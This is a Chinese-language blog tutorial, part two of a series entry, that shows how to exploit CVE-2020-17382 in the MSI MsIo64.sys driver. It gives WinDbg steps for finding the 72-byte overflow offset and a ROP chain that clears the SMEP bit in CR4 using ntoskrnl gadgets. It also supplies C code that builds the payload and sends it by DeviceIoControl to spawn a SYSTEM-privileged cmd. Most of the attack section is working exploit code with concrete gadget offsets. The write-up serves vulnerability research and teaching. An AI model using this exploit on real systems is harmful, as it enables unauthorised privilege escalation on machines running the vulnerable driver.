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第 13 話

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【第 13 話】CVE-2020-17382 研究－Buffer Overflow（下）

文章大綱

這篇承接【第 12 話】CVE-2020-17382 研究－Buffer Overflow（上）的內容，上篇只介紹漏洞成因與觸發 Stack Overflow 造成 BSOD，這篇要利用 CVE-2020-17382 的 Stack Overflow 漏洞搭配 ROP 繞過 SMEP 保護，然後執行 Shellcode 達成提權。

動態分析

這篇的目的不只是讓系統崩潰，而是要提權，為此我們需要進一步的分析。

首先要知道我們的輸入會被放到哪個位址，目前只從 IDA 上知道會被放在一個區域變數 Src 中，所以我們要在 WinDbg 下斷點在下圖紅框的地方，Virtual Address 是 0x1623。

在載入 MsIo64.sys 後下斷點，輸入 lm 找到 MsIo64.sys 的起始位址為 fffff80d6ac40000。

kd> lm
start             end                 module name
...
fffff80d`6ac40000 fffff80d`6ac46000   MsIo64     (deferred)  
...

將起始位址 fffff80d6ac40000 加上 0x1623 就是我們要下斷點的位址，因此輸入 bp fffff80d6ac40000+1623。接著按 g 繼續執行。在執行 Crash.exe 後應該會踩到斷點，停在下面這行。

fffff80d`6ac41623 e8b8010000       call    FFFFF80D6AC417E0

我們的目的是要知道區域變數 Src，也就是 memmove(Src, SystemBuffer, InputBufferLength); 的目標位址。在 Windows x64 中的 Calling Convention 是 rcx、rdx、r8、r9 ...，所以這時的 rcx 就是存 Src。在 WinDbg 左下方可以看 Registers => User 找到 rcx 0xffff980cbedc7170。

接著一直輸入 p 繼續執行直到 ret 為止。

fffff80d`6ac416b9 c3               ret

ret 指令做的事實際上就是 pop rip，也就是說下一個要執行的位址會被放在 Stack 上。在 WinDbg 左下方可以看 Call Stack 的第一個值 0xffff980cbedc71b8。另外注意到整個 Call Stack 都被蓋滿了 a (0x61)。

將 Return Address 所在的 0xffff980cbedc71b8 減掉我們的輸入會被放到的 0xffff980cbedc7170 等於 72 (0x48)，這就是我們在改到 RIP 之前要蓋的長度。

繞過 SMEP

雖然很希望能夠直接把 RIP 控成我們給的 Shellcode 的位址，但無奈在 Windows 10 1709 有 SMEP，因此要先繞過這個機制。

在【第 11 話】Capcom.sys 研究－Arbitrary Shellcode Execution 有關於 SMEP 的介紹，簡單來說 SMEP 就是禁止 Kernel 執行應用層程式的保護機制，這篇直接說明繞過 SMEP 的部分。

竄改 CR4

既然 SMEP 針對的是應用層的 Shellcode，那只要改成 Kernel 的程式就沒問題了。雖然我們沒有 Kernel 執行權，但可以用 ROP（Return-Oriented Programming）繞過，由於 ROP 的 Gadget 都是 Kernel 的程式因此不會被 SMEP 擋掉。

cr4 原本的值可以在 WinDbg 中輸入 r cr4 印出，r 代表 Registers，後面接要讀或寫的暫存器，原本的 cr4 的值是 0x1506f8，拿掉 SMEP 的第 20 bit 就是 0x506f8。

kd> r cr4
cr4=00000000001506f8

找 Gadget

用工具 0vercl0k/rp 在 ntoskrnl.exe 中找下面三個 Gadget。前兩個很明顯是為了改 cr4，第三個 wbinvd 則是為了清除快取記憶體，否則系統會卡住。

  • pop rcx ; ret
  • mov cr4, rcx ; ret
  • wbinvd ; ret

ntoskrnl.exe 雖然副檔名為 exe，但實際上是跑在 Kernel 的，用工具 DriverView.exe 查看可以找到它。

攻擊腳本（EoP）

攻擊步驟如下

  1. 找 ntoskrnl.exe 的起始位址
  2. 用 ROP 竄改 cr4
  3. 送 Payload 到驅動程式觸發漏洞

程式主要參考 MSI Ambient Link Driver 1.0.0.8 Privilege Escalation，修改部分程式並加了一些註解。完整的專案也放在我的 GitHub zeze-zeze/2023iThome。

1. 找 ntoskrnl.exe 的起始位址

ROP Gadget 是在 ntoskrnl.exe 中找的，那在程式中可以搭配 EnumDeviceDrivers 列舉所有驅動程式的起始位址，和 GetDeviceDriverBaseNameA 比對驅動程式名稱來找到 ntoskrnl.exe 的起始位址。

// 1. 找 ntoskrnl.exe 的起始位址
LPVOID GetBaseAddr(const char* drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        char szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (strcmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

2. 用 ROP 竄改 cr4

用找到的 Gadget 堆 ROP Payload，繞過 SMEP 後再執行 Shellcode，而 Shellcode 的部分跟【第 10 話】Windows Kernel Shellcode 做的幾乎相同。

// 2. 用 ROP 竄改 cr4
INT64 pop_rcx_offset = kernel_base + 0x15fc70;    // gadget 1 - pop rcx ; ret
INT64 mov_cr4_offset = kernel_base + 0x76a02;     // gadget 2 - mov cr4, rcx ; ret
INT64 wbindv_offset = kernel_base + 0x1175c0;     // gadget 3 - wbinvd ; ret
INT64 rcx_value = 0x506f8;                        // 要竄改 cr4 關閉 SMEP 的值
INT64 ret = pop_rcx_offset + 1;                   // gadget 1 - ret

BYTE input_buff[136] = {0};
memset(input_buff, '\x41', 72);                               // Stack Overflow 要改到 RIP 前要蓋 72 Bytes
memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8);          // pop rcx
memcpy(input_buff + 80, (PINT64)&rcx_value, 8);               // 0x506f8
memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8);          // mov cr4, rcx ; 竄改 cr4 關閉 SMEP 的值
memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8);           // wbinvd; ret
memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);    // 提權用的 Shellcode 位址
memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8);         // mov cr4, rcx ; 把原本 cr4 的值寫回去
memcpy(input_buff + 120, (PINT64)&ret, 8);                    // ret
memcpy(input_buff + 128, (PINT64)&ret, 8);                    // ret

3. 送 Payload 到驅動程式觸發漏洞

最後就是將在 Stack Overflow 後利用 ROP 繞過 SMEP 並執行 Shellcode 的 Payload 送到驅動程式達成提權，並開啟一個有 System 權限 cmd。

// 3. 送 Payload 到驅動程式觸發漏洞
DWORD lpBytesReturned = 0x0;
BOOL triggerIOCTL = DeviceIoControl(hFile, 0x80102040, input_buff, sizeof(input_buff), NULL, 0, &lpBytesReturned, NULL);
if (!triggerIOCTL)
{
    printf("[!] DeviceIoControl failed: %d\n", GetLastError());
    exit(1);
}

// 提權後跳出一個有 system 權限的 cmd
system("start cmd.exe");

測試

  1. 在 VM 中載入 MsIo64.sys
  2. 用一般使用者權限執行 CVE-2020-17382.exe，會看到一個 cmd 跳出來
  3. 輸入 whoami 會看到已經成功提權 system。

參考資料